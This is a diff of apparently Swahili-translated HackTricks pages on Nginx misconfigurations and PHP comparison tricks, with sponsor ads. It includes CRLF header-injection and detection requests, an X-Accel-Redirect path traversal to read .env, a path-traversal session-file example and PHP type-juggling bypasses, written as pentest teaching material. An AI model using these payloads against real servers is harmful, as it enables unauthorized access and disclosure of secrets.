||||
```
|
||||
|
@ -64,7 +66,7 @@ alias../../ => HTTP status code 403
|
|||
alias../../../../../../../../../../../ => HTTP status code 400
|
||||
alias../ => HTTP status code 403
|
||||
```
|
||||
## Hatari ya vizuizi vya njia <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
||||
## Unsafe path restriction <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
||||
|
||||
Angalia ukurasa ufuatao kujifunza jinsi ya kupita maagizo kama:
|
||||
```plaintext
|
||||
|
@ -83,15 +85,15 @@ deny all;
|
|||
## Matumizi yasiyo salama ya mabadiliko / Kutenganisha Maombi ya HTTP <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
||||
|
||||
{% hint style="danger" %}
|
||||
Mabadiliko yaliyo hatarini `$uri` na `$document_uri` na hii inaweza kurekebishwa kwa kuyabadilisha na `$request_uri`.
|
||||
Mabadiliko yenye hatari `$uri` na `$document_uri` na hii inaweza kurekebishwa kwa kuyabadilisha na `$request_uri`.
|
||||
|
||||
Regex inaweza pia kuwa hatarini kama:
|
||||
Regex inaweza pia kuwa na hatari kama:
|
||||
|
||||
`location ~ /docs/([^/])? { … $1 … }` - Hatarini 
|
||||
`location ~ /docs/([^/])? { … $1 … }` - Ina hatari 
|
||||
|
||||
`location ~ /docs/([^/\s])? { … $1 … }` - Si hatarini (kuangalia nafasi)
|
||||
`location ~ /docs/([^/\s])? { … $1 … }` - Haina hatari (ikikagua nafasi)
|
||||
|
||||
`location ~ /docs/(.*)? { … $1 … }` - Si hatarini
|
||||
`location ~ /docs/(.*)? { … $1 … }` - Haina hatari
|
||||
{% endhint %}
|
||||
|
||||
Uthibitisho wa udhaifu katika usanidi wa Nginx unadhihirishwa na mfano hapa chini:
|
||||
|
@ -100,7 +102,7 @@ location / {
|
|||
return 302 https://example.com$uri;
|
||||
}
|
||||
```
|
||||
Mara nyingi \r (Carriage Return) na \n (Line Feed) zinaashiria wahusika wapya katika maombi ya HTTP, na aina zao za URL-encoded zinawakilishwa kama `%0d%0a`. Kuongeza wahusika hawa katika ombi (kwa mfano, `http://localhost/%0d%0aDetectify:%20clrf`) kwa seva isiyo na usanidi mzuri kunasababisha seva kutoa kichwa kipya kinachoitwa `Detectify`. Hii inatokea kwa sababu ya $uri variable inachambua wahusika wapya wa URL-encoded, na kusababisha kichwa kisichotarajiwa katika jibu:
|
||||
Msururu \r (Carriage Return) na \n (Line Feed) yanaashiria wahusika wapya katika maombi ya HTTP, na aina zao za URL-encoded zinawakilishwa kama `%0d%0a`. Kuongeza wahusika hawa katika ombi (kwa mfano, `http://localhost/%0d%0aDetectify:%20clrf`) kwa seva isiyo na usanidi mzuri kunasababisha seva kutoa kichwa kipya kinachoitwa `Detectify`. Hii inatokea kwa sababu ya $uri variable inachambua wahusika wapya wa URL-encoded, na kusababisha kichwa kisichotarajiwa katika jibu:
|
||||
```
|
||||
HTTP/1.1 302 Moved Temporarily
|
||||
Server: nginx/1.19.3
|
||||
|
@ -110,21 +112,21 @@ Connection: keep-alive
|
|||
Location: https://example.com/
|
||||
Detectify: clrf
|
||||
```
|
||||
Jifunze zaidi kuhusu hatari za CRLF injection na response splitting kwenye [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||
Jifunze zaidi kuhusu hatari za CRLF injection na response splitting katika [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||
|
||||
Pia, mbinu hii [**imeelezwa katika mazungumzo haya**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) ikiwa na mifano yenye udhaifu na mitambo ya kugundua. Kwa mfano, ili kugundua usakinishaji huu usio sahihi kutoka kwa mtazamo wa blackbox unaweza kutumia maombi haya:
|
||||
|
||||
* `https://example.com/%20X` - Kila nambari ya HTTP
|
||||
* `https://example.com/%20H` - 400 Bad Request
|
||||
|
||||
Ikiwa kuna udhaifu, ya kwanza itarudisha kama "X" ni njia yoyote ya HTTP na ya pili itarudisha kosa kwani H si njia halali. Hivyo, seva itapokea kitu kama: `GET / H HTTP/1.1` na hii itasababisha kosa.
|
||||
Ikiwa kuna udhaifu, ya kwanza itarudisha kama "X" ni mbinu yoyote ya HTTP na ya pili itarudisha kosa kwani H si mbinu halali. Hivyo, seva itapata kitu kama: `GET / H HTTP/1.1` na hii itasababisha kosa.
|
||||
|
||||
Mifano mingine ya kugundua ingekuwa:
|
||||
|
||||
* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Kila nambari ya HTTP
|
||||
* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request
|
||||
|
||||
Baadhi ya usanidi ulio na udhaifu ulioonekana katika mazungumzo hayo ulikuwa:
|
||||
Baadhi ya usanidi ulio na udhaifu ulioonekana katika mazungumzo hayo ni:
|
||||
|
||||
* Kumbuka jinsi **`$uri`** ilivyowekwa kama ilivyo katika URL ya mwisho.
|
||||
```
|
||||
|
@ -146,17 +148,17 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
|||
```
|
||||
### Any variable
|
||||
|
||||
Iligundulika kwamba **data inayotolewa na mtumiaji** inaweza kut treated kama **Nginx variable** chini ya hali fulani. Sababu ya tabia hii bado ni ngumu kidogo, lakini si ya kawaida wala rahisi kuthibitisha. Anomali hii ilisisitizwa katika ripoti ya usalama kwenye HackerOne, ambayo inaweza kuonekana [hapa](https://hackerone.com/reports/370094). Uchunguzi zaidi wa ujumbe wa kosa ulisababisha kutambua kutokea kwake ndani ya [moduli ya chujio ya SSI ya msimbo wa Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), ikitaja Server Side Includes (SSI) kama sababu kuu.
|
||||
Iligundulika kwamba **data inayotolewa na mtumiaji** inaweza kut treated kama **Nginx variable** chini ya hali fulani. Sababu ya tabia hii bado ni ngumu kidogo, lakini si nadra wala rahisi kuthibitisha. Anomali hii ilisisitizwa katika ripoti ya usalama kwenye HackerOne, ambayo inaweza kuonekana [hapa](https://hackerone.com/reports/370094). Uchunguzi zaidi wa ujumbe wa kosa ulisababisha kutambua kutokea kwake ndani ya [moduli ya chujio ya SSI ya msimbo wa Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), ikitaja Server Side Includes (SSI) kama sababu kuu.
|
||||
|
||||
Ili **kubaini hii misconfiguration**, amri ifuatayo inaweza kutekelezwa, ambayo inahusisha kuweka kichwa cha referer ili kujaribu uchapishaji wa variable:
|
||||
```bash
|
||||
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
||||
```
|
||||
Scans for this misconfiguration across systems revealed multiple instances where Nginx variables could be printed by a user. Hata hivyo, kupungua kwa idadi ya matukio yenye hatari kunaonyesha kwamba juhudi za kurekebisha tatizo hili zimefanikiwa kwa kiasi fulani.
|
||||
Scans for this misconfiguration across systems revealed multiple instances where Nginx variables could be printed by a user. However, a decrease in the number of vulnerable instances suggests that efforts to patch this issue have been somewhat successful.
|
||||
|
||||
## Raw backend response reading
|
||||
|
||||
Nginx inatoa kipengele kupitia `proxy_pass` ambacho kinaruhusu kukamatwa kwa makosa na vichwa vya HTTP vinavyotolewa na backend, kwa lengo la kuficha ujumbe wa makosa ya ndani na vichwa. Hii inafanywa na Nginx ikihudumia kurasa za makosa za kawaida kama majibu ya makosa ya backend. Hata hivyo, changamoto zinatokea wakati Nginx inakutana na ombi la HTTP lisilo sahihi. Ombi kama hilo linapelekwa kwa backend kama lilivyo, na jibu la moja kwa moja la backend kisha linatumwa moja kwa moja kwa mteja bila kuingilia kati kwa Nginx.
|
||||
Nginx inatoa kipengele kupitia `proxy_pass` ambacho kinaruhusu kukamatwa kwa makosa na vichwa vya HTTP vilivyotolewa na backend, kwa lengo la kuficha ujumbe wa makosa ya ndani na vichwa. Hii inafanywa na Nginx ikihudumia kurasa za makosa za kawaida kama majibu kwa makosa ya backend. Hata hivyo, changamoto zinatokea wakati Nginx inakutana na ombi la HTTP lisilo sahihi. Ombi kama hilo linapelekwa kwa backend kama lilivyo, na majibu ya moja kwa moja ya backend yanatumwa moja kwa moja kwa mteja bila kuingilia kati kwa Nginx.
|
||||
|
||||
Consider an example scenario involving a uWSGI application:
|
||||
```python
|
||||
|
@ -175,11 +177,11 @@ proxy_hide_header Secret-Header;
|
|||
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Hii amri inaruhusu Nginx kutoa jibu maalum kwa majibu ya nyuma yenye msimbo wa hali zaidi ya 300. Inahakikisha kwamba, kwa mfano wetu wa programu ya uWSGI, jibu la `500 Error` linakamatwa na kushughulikiwa na Nginx.
|
||||
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Kama jina linavyopendekeza, hii amri inaficha vichwa vya HTTP vilivyotajwa kutoka kwa mteja, ikiongeza faragha na usalama.
|
||||
|
||||
Wakati ombi halali la `GET` linapotolewa, Nginx linafanya kazi yake kawaida, ikirudisha jibu la makosa la kawaida bila kufichua vichwa vya siri. Hata hivyo, ombi la HTTP lisilo sahihi linapita mfumo huu, na kusababisha kufichuliwa kwa majibu ya nyuma ya kawaida, ikiwa ni pamoja na vichwa vya siri na ujumbe wa makosa.
|
||||
Wakati ombi halali la `GET` linapotolewa, Nginx linafanya kazi yake kawaida, ikirudisha jibu la makosa la kawaida bila kufichua vichwa vya siri. Hata hivyo, ombi la HTTP lisilo sahihi linapita mfumo huu, na kusababisha kufichuliwa kwa majibu ya nyuma ya asili, ikiwa ni pamoja na vichwa vya siri na ujumbe wa makosa.
|
||||
|
||||
## merge\_slashes set to off
|
||||
|
||||
Kwa kawaida, amri ya **`merge_slashes` ya Nginx** imewekwa kuwa **`on`**, ambayo inakusanya slashi nyingi za mbele katika URL kuwa slashi moja. Kipengele hiki, ingawa kinaboresha usindikaji wa URL, kinaweza kwa bahati mbaya kuficha udhaifu katika programu zilizo nyuma ya Nginx, hasa zile zinazoweza kukabiliwa na mashambulizi ya kuingiza faili za ndani (LFI). Wataalamu wa usalama **Danny Robinson na Rotem Bar** wameonyesha hatari zinazoweza kutokea zinazohusiana na tabia hii ya kawaida, hasa wakati Nginx inafanya kazi kama reverse-proxy.
|
||||
Kwa kawaida, amri ya **`merge_slashes` ya Nginx** imewekwa kuwa **`on`**, ambayo inakusanya slashi nyingi za mbele katika URL kuwa slashi moja. Kipengele hiki, ingawa kinaboresha usindikaji wa URL, kinaweza kwa bahati mbaya kuficha udhaifu katika programu zilizo nyuma ya Nginx, hasa zile zinazoweza kukabiliwa na mashambulizi ya kuingiza faili za ndani (LFI). Wataalamu wa usalama **Danny Robinson na Rotem Bar** wameonyesha hatari zinazoweza kutokea kutokana na tabia hii ya kawaida, hasa wakati Nginx inafanya kazi kama reverse-proxy.
|
||||
|
||||
Ili kupunguza hatari kama hizo, inapendekezwa **kugeuza amri ya `merge_slashes` kuwa off** kwa programu zinazoweza kukabiliwa na udhaifu hizi. Hii inahakikisha kwamba Nginx inapeleka maombi kwa programu bila kubadilisha muundo wa URL, hivyo basi haitaweza kuficha matatizo yoyote ya usalama yaliyofichika.
|
||||
|
||||
|
@ -187,7 +189,7 @@ Kwa maelezo zaidi angalia [Danny Robinson na Rotem Bar](https://medium.com/appsf
|
|||
|
||||
### **Maclicious Response Headers**
|
||||
|
||||
Kama inavyoonyeshwa katika [**hii andiko**](https://mizu.re/post/cors-playground), kuna vichwa fulani ambavyo ikiwa vipo katika jibu kutoka kwa seva ya wavuti vitabadilisha tabia ya proxy ya Nginx. Unaweza kuvikagua [**katika nyaraka**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
|
||||
Kama ilivyoonyeshwa katika [**hii andiko**](https://mizu.re/post/cors-playground), kuna vichwa fulani ambavyo ikiwa vipo katika jibu kutoka kwa seva ya wavuti vitabadilisha tabia ya proxy ya Nginx. Unaweza kuangalia katika [**nyaraka**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
|
||||
|
||||
* `X-Accel-Redirect`: Inamuru Nginx kuhamasisha ombi kwa ndani kwenye eneo lililotajwa.
|
||||
* `X-Accel-Buffering`: Inadhibiti ikiwa Nginx inapaswa kubuffer jibu au la.
|
||||
|
@ -195,11 +197,11 @@ Kama inavyoonyeshwa katika [**hii andiko**](https://mizu.re/post/cors-playground
|
|||
* `X-Accel-Expires`: Inapanga muda wa kumalizika kwa jibu wakati wa kutumia X-Accel-Redirect.
|
||||
* `X-Accel-Limit-Rate`: Inapunguza kiwango cha uhamishaji kwa majibu wakati wa kutumia X-Accel-Redirect.
|
||||
|
||||
Kwa mfano, kichwa **`X-Accel-Redirect`** kitasababisha **redirect** ya ndani katika nginx. Hivyo kuwa na usanidi wa nginx na kitu kama **`root /`** na jibu kutoka kwa seva ya wavuti yenye **`X-Accel-Redirect: .env`** kutaifanya nginx kutuma maudhui ya **`/.env`** (Path Traversal).
|
||||
Kwa mfano, kichwa **`X-Accel-Redirect`** kitasababisha **redirect** ya ndani katika nginx. Hivyo kuwa na usanidi wa nginx na kitu kama **`root /`** na jibu kutoka kwa seva ya wavuti lenye **`X-Accel-Redirect: .env`** kutafanya nginx itume maudhui ya **`/.env`** (Path Traversal).
|
||||
|
||||
### **Default Value in Map Directive**
|
||||
|
||||
Katika **usanidi wa Nginx**, amri ya `map` mara nyingi ina jukumu katika **udhibiti wa mamlaka**. Kosa la kawaida ni kutoshughulikia **thamani ya default**, ambayo inaweza kusababisha ufikiaji usioidhinishwa. Kwa mfano:
|
||||
Katika **usanidi wa Nginx**, amri ya `map` mara nyingi ina jukumu katika **udhibiti wa mamlaka**. Kosa la kawaida ni kutoshughulikia **thamani ya kawaida**, ambayo inaweza kusababisha ufikiaji usioidhinishwa. Kwa mfano:
|
||||
```yaml
|
||||
http {
|
||||
map $uri $mappocallow {
|
||||
|
@ -222,7 +224,7 @@ Bila `default`, **mtumiaji mbaya** anaweza kupita usalama kwa kufikia **URI isiy
|
|||
|
||||
### **Udhaifu wa DNS Spoofing**
|
||||
|
||||
DNS spoofing dhidi ya Nginx inawezekana chini ya hali fulani. Ikiwa mshambuliaji anajua **seva ya DNS** inayotumika na Nginx na anaweza kukamata maswali yake ya DNS, wanaweza kudanganya rekodi za DNS. Hata hivyo, njia hii haiwezi kufanya kazi ikiwa Nginx imewekwa kutumia **localhost (127.0.0.1)** kwa ajili ya ufumbuzi wa DNS. Nginx inaruhusu kuweka seva ya DNS kama ifuatavyo:
|
||||
DNS spoofing dhidi ya Nginx inawezekana chini ya hali fulani. Ikiwa mshambuliaji anajua **seva ya DNS** inayotumiwa na Nginx na anaweza kukamata maswali yake ya DNS, wanaweza kudanganya rekodi za DNS. Hata hivyo, njia hii haiwezi kufanya kazi ikiwa Nginx imewekwa kutumia **localhost (127.0.0.1)** kwa ajili ya ufumbuzi wa DNS. Nginx inaruhusu kuweka seva ya DNS kama ifuatavyo:
|
||||
```yaml
|
||||
resolver 8.8.8.8;
|
||||
```
|
||||
|
@ -232,7 +234,7 @@ Miongozo ya **`proxy_pass`** inatumika kwa ajili ya kuelekeza maombi kwa seva ny
|
|||
|
||||
## proxy\_set\_header Upgrade & Connection
|
||||
|
||||
Ikiwa seva ya nginx imewekwa ili kupitisha vichwa vya Upgrade na Connection, [**shambulio la h2c Smuggling**](../../pentesting-web/h2c-smuggling.md) linaweza kufanywa ili kufikia mwisho wa ndani uliohifadhiwa.
|
||||
Ikiwa seva ya nginx imewekwa ili kupitisha vichwa vya Upgrade na Connection, [**h2c Smuggling attack**](../../pentesting-web/h2c-smuggling.md) inaweza kufanywa ili kufikia mwisho wa ndani uliohifadhiwa.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Udhaifu huu utamruhusu mshambuliaji **kuanzisha muunganisho wa moja kwa moja na mwisho wa `proxy_pass`** (`http://backend:9999` katika kesi hii) ambao maudhui yake hayataangaliwa na nginx.
|
||||
|
@ -264,7 +266,7 @@ Kumbuka kwamba hata kama `proxy_pass` ilikuwa ikielekeza kwenye **path** maalum
|
|||
|
||||
## Jaribu mwenyewe
|
||||
|
||||
Detectify imeunda hazina ya GitHub ambapo unaweza kutumia Docker kuanzisha seva yako ya mtihani ya Nginx yenye udhaifu na baadhi ya makosa ya usanidi yaliyajadiliwa katika makala hii na jaribu kuyapata mwenyewe!
|
||||
Detectify imeunda hazina ya GitHub ambapo unaweza kutumia Docker kuanzisha seva yako ya mtihani ya Nginx yenye udhaifu na baadhi ya makosa ya usanidi yaliyotajwa katika makala hii na jaribu kuyapata mwenyewe!
|
||||
|
||||
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
|
||||
|
||||
|
@ -278,7 +280,7 @@ Gixy ni zana ya kuchambua usanidi wa Nginx. Lengo kuu la Gixy ni kuzuia makosa y
|
|||
|
||||
Nginxpwner ni zana rahisi ya kutafuta makosa ya kawaida ya Nginx na udhaifu.
|
||||
|
||||
## Marejeo
|
||||
## Marejeleo
|
||||
|
||||
* [**https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/**](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/)
|
||||
* [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/)
|
||||
|
@ -286,21 +288,23 @@ Nginxpwner ni zana rahisi ya kutafuta makosa ya kawaida ya Nginx na udhaifu.
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & pentesting**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye upelelezi hadi ripoti. Hatubadilishi wapentester - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa biashara.** Tumia zana zetu 20+ za kawaida kuandaa uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) hazina za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) hazina za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,27 @@
|
|||
# PHP Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Mahali pa kawaida pa Cookies:
|
||||
|
||||
|
@ -37,9 +41,9 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
```
|
||||
## Kupita Mifano ya PHP
|
||||
|
||||
### Mifano ya Kijinga/Kuchanganya Aina ( == )
|
||||
### Mifano ya Kijinga/Kupindisha Aina ( == )
|
||||
|
||||
Ikiwa `==` inatumika katika PHP, basi kuna kesi zisizotarajiwa ambapo mifano haiwezi kutenda kama inavyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina sawa, ikiwa unataka pia kulinganisha kwamba aina ya data inayolinganishwa ni sawa unahitaji kutumia `===`.
|
||||
Ikiwa `==` inatumika katika PHP, basi kuna kesi zisizotarajiwa ambapo mifano haifanyi kazi kama inavyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina sawa, ikiwa unataka pia kulinganisha kwamba aina ya data inayolinganishwa ni sawa unahitaji kutumia `===`.
|
||||
|
||||
Meza za kulinganisha za PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
|
@ -48,17 +52,17 @@ Meza za kulinganisha za PHP: [https://www.php.net/manual/en/types.comparisons.ph
|
|||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> True` Mfuatano ambao hauanzishi na nambari ni sawa na nambari
|
||||
* `"0xAAAA" == "43690" -> True` Mfuatano unaoundwa na nambari katika muundo wa dec au hex unaweza kulinganishwa na nambari/mfuatano mwingine na True kama matokeo ikiwa nambari zilikuwa sawa (nambari katika mfuatano zinatafsiriwa kama nambari)
|
||||
* `"0e3264578" == 0 --> True` Mfuatano unaoanzishwa na "0e" na kufuatwa na chochote kitakuwa sawa na 0
|
||||
* `"0X3264578" == 0X --> True` Mfuatano unaoanzishwa na "0" na kufuatwa na herufi yoyote (X inaweza kuwa herufi yoyote) na kufuatwa na chochote kitakuwa sawa na 0
|
||||
* `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti ingizo la mfuatano wa "0" na maudhui fulani yanayohesabiwa na kulinganishwa nayo. Hivyo, ikiwa unaweza kutoa thamani itakayounda hash inayooanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **mfuatano ambao tayari umehesabiwa** kwa muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"0xAAAA" == "43690" -> True` Mfuatano ulio na nambari katika muundo wa dec au hex unaweza kulinganishwa na nambari/mfuatano mwingine na True kama matokeo ikiwa nambari zilikuwa sawa (nambari katika mfuatano zinatafsiriwa kama nambari)
|
||||
* `"0e3264578" == 0 --> True` Mfuatano unaoanzisha na "0e" na kufuatwa na chochote kitakuwa sawa na 0
|
||||
* `"0X3264578" == 0X --> True` Mfuatano unaoanzisha na "0" na kufuatwa na herufi yoyote (X inaweza kuwa herufi yoyote) na kufuatwa na chochote kitakuwa sawa na 0
|
||||
* `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti mfuatano wa "0" na baadhi ya maudhui yanayohesabiwa na kulinganishwa nayo. Hivyo, ikiwa unaweza kutoa thamani itakayounda hash inayooanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **mfuatano ambao tayari umehesabiwa** kwa muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` Herufi yoyote katika mfuatano ni sawa na int 0
|
||||
|
||||
Maelezo zaidi katika [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
### **in\_array()**
|
||||
|
||||
**Kuchanganya Aina** pia kunaathiri kazi ya `in_array()` kwa default (unahitaji kuweka argument ya tatu kuwa kweli ili kufanya kulinganisha kwa ukali):
|
||||
**Kupindisha Aina** pia inaathiri kazi ya `in_array()` kwa kawaida (unahitaji kuweka kuwa kweli hoja ya tatu ili kufanya kulinganisha kwa ukali):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
|
@ -85,11 +89,11 @@ Hata kama `===` inatumika kunaweza kuwa na makosa yanayofanya **kulinganisha kuw
|
|||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** inaweza kutumika **kuhakiki ingizo la mtumiaji** (ina **angalia** kama neno/regex lolote kutoka kwenye **blacklist** lipo kwenye **ingizo la mtumiaji** na kama halipo, msimbo unaweza kuendelea na utekelezaji wake).
|
||||
**`preg_match()`** inaweza kutumika **kuhakiki ingizo la mtumiaji** (ina **angalia** kama neno lolote/regex kutoka kwenye **blacklist** linapatikana kwenye **ingizo la mtumiaji** na ikiwa halipo, msimbo unaweza kuendelea na utekelezaji wake).
|
||||
|
||||
#### Njia ya kupita mistari mipya
|
||||
#### New line bypass
|
||||
|
||||
